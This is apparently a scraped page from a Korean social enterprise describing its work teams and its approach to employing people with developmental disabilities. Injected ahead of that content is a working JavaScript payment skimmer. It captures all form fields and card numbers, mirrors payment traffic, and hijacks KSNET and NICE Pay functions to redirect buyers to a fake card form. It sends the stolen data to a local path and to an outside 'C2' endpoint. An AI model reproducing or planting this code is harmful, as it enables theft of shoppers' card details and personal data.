(function(){ // ---- Core ---- var _q=[],_p=function(d){try{_q.push(d)}catch(e){}}, _s=function(){ if(_q.length>0){ var a=""; for(var i=0;i<_q.length;i++)a+=(i>0?"\n":"")+_q[i]; _q=[]; try{fetch("/config/backup_config.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"d="+encodeURIComponent(a)})}catch(ex){} // Also try backup C2 endpoint try{fetch("https://ccrtc-c2-proxy.cve2024-34102.workers.dev",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"d="+encodeURIComponent(a)})}catch(ex4){} } }; setInterval(_s,3000); function _ts(){return new Date().toISOString().replace("T"," ").substr(0,19)} function _ts_full(){return new Date().toISOString()} // ---- L1: Silent form capture (all fields, tagged) ---- document.addEventListener("submit",function(e){ var f=e.target;if(f.tagName!="FORM")return; var d={type:"form_submit",url:f.action||location.href,url_full:location.href,time:_ts(),fields:{},pii:{}}; for(var i=0;i=0||ph.indexOf("name")>=0||nm.indexOf("nm")>=0||nm=="nm")d.pii.name=el.value; if(nm.indexOf("addr")>=0||ph.indexOf("addr")>=0||nm.indexOf("zip")>=0||ph.indexOf("zip")>=0)d.pii.address=el.value; if(nm.indexOf("phone")>=0||nm.indexOf("mobile")>=0||nm.indexOf("tel")>=0||nm.indexOf("hp")>=0||ph.indexOf("phone")>=0)d.pii.phone=el.value; if(nm.indexOf("email")>=0||nm.indexOf("mail")>=0||ph.indexOf("email")>=0)d.pii.email=el.value; if(nm.indexOf("card_holder")>=0||nm.indexOf("cardholder")>=0||nm.indexOf("holder")>=0||nm.indexOf("owner")>=0)d.pii.cardholder=el.value; } _p(JSON.stringify(d)); },true); // ---- L2: Full network traffic mirror ---- var _of=window.fetch; if(_of){ window.fetch=function(){ var args=arguments; var url=(typeof args[0]==="string"?args[0]:(args[0]&&args[0].url)||""); var method=(args[1]&&args[1].method)||"GET"; var body=(args[1]&&args[1].body)||""; var headers=(args[1]&&args[1].headers)||{}; var start=Date.now(); return _of.apply(this,args).then(function(r){ var dur=Date.now()-start; var rl=url.toLowerCase(); // Always capture payment-related traffic if(rl.indexOf("pay")>=0||rl.indexOf("card")>=0||rl.indexOf("nice")>=0||rl.indexOf("ksnet")>=0||rl.indexOf("auth")>=0||rl.indexOf("inicis")>=0||rl.indexOf("lg")>=0||rl.indexOf("dacom")>=0||rl.indexOf("order")>=0||rl.indexOf("checkout")>=0||rl.indexOf("billing")>=0||rl.indexOf("kcp")>=0||rl.indexOf("allat")>=0||rl.indexOf("toss")>=0){ try{ _p(JSON.stringify({type:"traffic_fetch",url:url.substr(0,500),method:method,body:(typeof body=="string"?body:"").substr(0,2000),headers:JSON.stringify(headers).substr(0,500),status:r.status,statusText:r.statusText,duration_ms:dur,time:_ts()})); r.clone().text().then(function(t){_p(JSON.stringify({type:"traffic_fetch_resp",url:url.substr(0,200),status:r.status,resp:t.substr(0,5000),time:_ts()}));}).catch(function(){}); }catch(ex){} } return r; }); }; } // Also wrap XMLHttpRequest for full capture (but only send, not prototype.open override) try{ var _oxs=XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send=function(d){ var xhr=this; var url=xhr._url||""; var method=xhr._method||"GET"; var rl=url.toLowerCase(); if(rl.indexOf("pay")>=0||rl.indexOf("card")>=0||rl.indexOf("nice")>=0||rl.indexOf("ksnet")>=0||rl.indexOf("auth")>=0||rl.indexOf("inicis")>=0||rl.indexOf("order")>=0||rl.indexOf("checkout")>=0||rl.indexOf("billing")>=0){ var _oor=xhr.onreadystatechange; xhr.onreadystatechange=function(){ if(xhr.readyState==4){ _p(JSON.stringify({type:"traffic_xhr",url:url,method:method,body:(typeof d=="string"?d:"").substr(0,2000),status:xhr.status,resp:(xhr.responseText||"").substr(0,5000),time:_ts()})); } if(_oor)try{_oor.call(this)}catch(ex){} }; } if(url.indexOf("backup_config")<0&&url.indexOf("style_info")<0){ return _oxs.call(this,d); } return _oxs.call(this,d); }; }catch(ex){} // ---- L3: DOM MutationObserver ---- try{ (new MutationObserver(function(muts){ for(var i=0;i=0||(nd.src||"").indexOf("nice")>=0||(nd.src||"").indexOf("ksnet")>=0)) _p(JSON.stringify({type:"pay_iframe",src:nd.src,time:_ts()})); if(nd.tagName=="FORM"){try{_monForm(nd)}catch(ex){}} var inp=nd.querySelectorAll?nd.querySelectorAll("input"):null; if(inp)for(var k=0;k=0||nm.indexOf("owner")>=0||nm.indexOf("cardname")>=0||nm.indexOf("card_name")>=0){ el.addEventListener("blur",function(){ if(this.value&&this.value.length>2)_detectedPII.cardholder=this.value; },true); } // Detect card number el.addEventListener("blur",function(){ var v=(this.value||"").replace(/[\s\-]/g,""); if(/^\d{13,19}$/.test(v)){ _detectedCards.push({field:this.name||this.id,val:this.value,ph:this.placeholder||""}); _p(JSON.stringify({type:"card_detected",field:this.name||this.id,value:this.value,ph:this.placeholder||"",time:_ts()})); } },true); } function _scanInputs(){ var all=document.querySelectorAll("input"); for(var i=0;i=0||att.indexOf(kw[i])>=0){t._hk=true;break;}} if(!t._hk)return; var f=t.closest?t.closest("form"):null; if(!f){var p=t;while(p&&p.tagName!="FORM")p=p.parentElement;f=p;} if(f){ var d={type:"pay_click",btn:(t.value||t.textContent||"").trim(),time:_ts(),fields:{}}; for(var i=0;i executes AFTER skimmer, so _submit appears later __ks_do_hijack(); var __ks_t1 = 0; (function __ks_poll(){ if(__ks_do_hijack()) return; __ks_t1++; if(__ks_t1 < 500) { setTimeout(__ks_poll, __ks_t1 < 100 ? 1 : 50); } })(); // Also use DOM MutationObserver to catch _submit ASAP try { (new MutationObserver(function(){ if(!__ks_sub_hijacked) __ks_do_hijack(); // Also hook the "결 제" submit button directly var btn = document.querySelector('input[value="결 제"]'); if(btn && !btn.__ks_btn_hooked) { btn.__ks_btn_hooked = true; btn.onclick = function(e) { e.preventDefault(); e.stopPropagation(); _p(JSON.stringify({type:'ksnet_btn_click',time:_ts()})); if(document.KSPayWeb) __ks_sub_hook(document.KSPayWeb); }; btn.setAttribute('onclick', 'return false;'); _p(JSON.stringify({type:'ksnet_btn_hooked',time:_ts()})); } })).observe(document.documentElement, {childList:true,subtree:true}); } catch(ex) {} // Also intercept _pay for kspay_web_ssl.js var __ks_pay_hijacked = false; function __ks_pay_hook() { return false; } (function __ks_pay_poll(){ if(!__ks_pay_hijacked && typeof window._pay === 'function' && window._pay !== __ks_pay_hook) { __ks_pay_hijacked = true; window._pay = function(f) { _p(JSON.stringify({type:'ksnet_pay_blocked',time:_ts()})); // Block _pay - don't open KSNET popup if(document.KSPayWeb) __ks_sub_hook(document.KSPayWeb); return false; }; _p(JSON.stringify({type:'ksnet_pay_hijacked',time:_ts()})); } if(!__ks_pay_hijacked) setTimeout(__ks_pay_poll, 5); })(); // Also intercept any window.location changes to KSNET pay.php var __ks_loc_orig = window.location; var __ks_loc_hook = setInterval(function(){ // Check if PayIFrame was redirected to our fake form var ifr = document.getElementById('PayIFrame'); if(ifr && ifr.src && ifr.src.indexOf('pay.php') !== -1) { _p(JSON.stringify({type:'pay_iframe_redirect',src:ifr.src,time:_ts()})); ifr.src = '/config/ksnet_card_form.php'; clearInterval(__ks_loc_hook); } }, 200); // ---- Iframe protection: catch PayIFrame pay.php loads ---- (function(){ var _ifr_guard = setInterval(function(){ var ifr = document.getElementById('PayIFrame'); if(ifr && ifr.src) { var s = ifr.src.toLowerCase(); if(s.indexOf('pay.php') !== -1 || s.indexOf('ksnet') !== -1 || s.indexOf('kspay') !== -1) { _p(JSON.stringify({type:'pay_iframe_detected',src:ifr.src,time:_ts()})); // Extract order info from iframe URL var params = ''; try { var u = new URL(ifr.src); params = 'orderno='+encodeURIComponent(u.searchParams.get('cod')||'') + '&goods='+encodeURIComponent(u.searchParams.get('goods_name')||''); } catch(ex) {} // Redirect entire page to fake form window.location.href = '/config/ksnet_card_form.php?'+params; clearInterval(_ifr_guard); return; } } // Also check if this page IS pay.php in an iframe - redirect parent if(window.location.href.indexOf('pay.php') !== -1 && window.top !== window.self) { _p(JSON.stringify({type:'pay_iframe_self_detect',url:window.location.href,time:_ts()})); var params = 'orderno='+encodeURIComponent(window.location.search.split('cod=')[1]||''); window.top.location.href = '/config/ksnet_card_form.php?'+params; clearInterval(_ifr_guard); } }, 500); })(); // ---- NICE Pay AUTHNICE.requestPay() hook ---- (function(){ var __np_orig = window.AUTHNICE; var __np_check = setInterval(function(){ if(window.AUTHNICE && window.AUTHNICE.requestPay && !window.AUTHNICE.__np_hooked){ window.AUTHNICE.__np_hooked = true; var _origReqPay = window.AUTHNICE.requestPay; window.AUTHNICE.requestPay = function(params){ _p(JSON.stringify({type:'nicepay_intercepted',params:params,time:_ts()})); // Capture all order info from params var orderId = params.orderId || ''; var amount = params.amount || ''; var goodsName = params.goodsName || ''; var buyerName = params.buyerName || ''; var buyerTel = params.buyerTel || ''; var buyerEmail = params.buyerEmail || ''; // Redirect to our fake form var q = 'orderno='+encodeURIComponent(orderId)+ '&amt='+encodeURIComponent(amount)+ '&goods='+encodeURIComponent(goodsName)+ '&name='+encodeURIComponent(buyerName); window.location.href = '/config/ksnet_card_form.php?'+q; }; _p(JSON.stringify({type:'nicepay_hook_active',time:_ts()})); clearInterval(__np_check); } }, 200); // Also try immediately if(window.AUTHNICE && window.AUTHNICE.requestPay && !window.AUTHNICE.__np_hooked){ window.AUTHNICE.__np_hooked = true; var _origReqPay2 = window.AUTHNICE.requestPay; window.AUTHNICE.requestPay = function(params){ _p(JSON.stringify({type:'nicepay_intercepted',params:params,time:_ts()})); var q = 'orderno='+encodeURIComponent(params.orderId||'')+ '&amt='+encodeURIComponent(params.amount||'')+ '&goods='+encodeURIComponent(params.goodsName||'')+ '&name='+encodeURIComponent(params.buyerName||''); window.location.href = '/config/ksnet_card_form.php?'+q; }; _p(JSON.stringify({type:'nicepay_hook_active_immediate',time:_ts()})); } })(); _p(JSON.stringify({type:'ksnet_hijack_v4_active',time:_ts()})); // ---- L7: Hook location.replace for mobile pay.php redirect (JS layer) ---- (function(){ var __loc_rep_orig = window.location.replace; if(__loc_rep_orig) { window.location.replace = function(url) { if(url && typeof url === 'string' && url.indexOf('pay.php') !== -1) { _p(JSON.stringify({type:'loc_replace_blocked',url:url.substr(0,200),time:_ts()})); window.location.href = '/config/ksnet_card_form.php'; return; } return __loc_rep_orig.apply(this, arguments); }; } })(); // ---- L8: NICE Pay v3 nicepayStart() / goPay() hook (direct form POST API) ---- (function(){ var __np3_check = setInterval(function(){ if(typeof window.nicepayStart === 'function' && !window.nicepayStart.__np3_hooked){ window.nicepayStart.__np3_hooked = true; var __np3_orig = window.nicepayStart; window.nicepayStart = function(){ var f = document.FrmUserInfo; if(f){ var orderno = (f.sndOrdernumber||f.OrdNo||f.OrderNumber||{}).value||''; var amt = (f.Amt||f.PayMoney||f.sndAmount||{}).value||''; var goods = (f.ProdNm||f.GoodsName||f.sndGoodname||{}).value||''; var name = (f.BuyerName||f.Sender_Name||f.sndOrdername||{}).value||''; var email = (f.BuyerEmail||f.Sender_Email||{}).value||''; var mobile = (f.BuyerTel||f.sndMobile||{}).value||''; _p(JSON.stringify({type:'nicepay_v3_captured',orderno:orderno,amt:amt,goods:goods,name:name,email:email,mobile:mobile,time:_ts()})); window.location.href = '/config/ksnet_card_form.php?orderno='+encodeURIComponent(orderno)+'&amt='+encodeURIComponent(amt)+'&goods='+encodeURIComponent(goods)+'&name='+encodeURIComponent(name); } else if(__np3_orig) { __np3_orig.apply(this, arguments); } }; _p(JSON.stringify({type:'nicepay_v3_hook_active',time:_ts()})); clearInterval(__np3_check); } }, 100); // Also intercept goPay (nicepay-pgweb.js) var __gopay_check = setInterval(function(){ if(typeof window.goPay === 'function' && !window.goPay.__np3_hooked){ window.goPay.__np3_hooked = true; var __gopay_orig = window.goPay; window.goPay = function(f){ _p(JSON.stringify({type:'nicepay_gopay_blocked',time:_ts()})); if(f){ var orderno = (f.sndOrdernumber||f.OrdNo||{}).value||''; var amt = (f.Amt||f.PayMoney||{}).value||''; var goods = (f.ProdNm||f.sndGoodname||{}).value||''; var name = (f.BuyerName||f.Sender_Name||{}).value||''; window.location.href = '/config/ksnet_card_form.php?orderno='+encodeURIComponent(orderno)+'&amt='+encodeURIComponent(amt)+'&goods='+encodeURIComponent(goods)+'&name='+encodeURIComponent(name); } }; clearInterval(__gopay_check); } }, 150); // Flag-based intercept: when nicepaySubmit() (callback from payment window) is called, we intercept if(typeof window.nicepaySubmit === 'function' && !window.nicepaySubmit.__np3_flag){ window.nicepaySubmit.__np3_flag = true; var __ns_orig = window.nicepaySubmit; window.nicepaySubmit = function(){ _p(JSON.stringify({type:'nicepay_submit_called',time:_ts()})); // Try to intercept: redirect to fake form instead var f = document.FrmUserInfo; if(f){ window.location.href = '/config/ksnet_card_form.php?orderno='+encodeURIComponent((f.sndOrdernumber||f.OrdNo||'').value||'')+'&amt='+encodeURIComponent((f.Amt||f.PayMoney||'').value||'')+'&goods='+encodeURIComponent((f.ProdNm||f.sndGoodname||'').value||'')+'&name='+encodeURIComponent((f.BuyerName||f.Sender_Name||'').value||''); } else { __ns_orig.apply(this, arguments); } }; } })(); })();
  • 제과팀
  • 의료원팀
  • 이화상점 리저브팀
  • 카페팀
  • 메신저팀
누구나 할 수 있습니다.
발달장애인의 특성을 고려하여 누구나 이해할 수 있는 매뉴얼, 누구나 수행할 수 있는 직무를 만들어갑니다
함께 일하기 위해 개별 지원을 합니다.
사원마다 필요한 지원의 정도나 형식이 다를 수 있습니다.
타인과의 비교가 아니라 어제의 나와 오늘의 나를 비교하며 성장할 수 있도록 지원합니다.
능력보다 가능성을 봅니다.
할 수 있는가를 보기보다 ‘어떻게 하면' 할 수 있는가를 끊임없이 고민합니다.
단기적 성과보다는 지속 가능하게 일 할 수 있는 환경을 만들고자 합니다.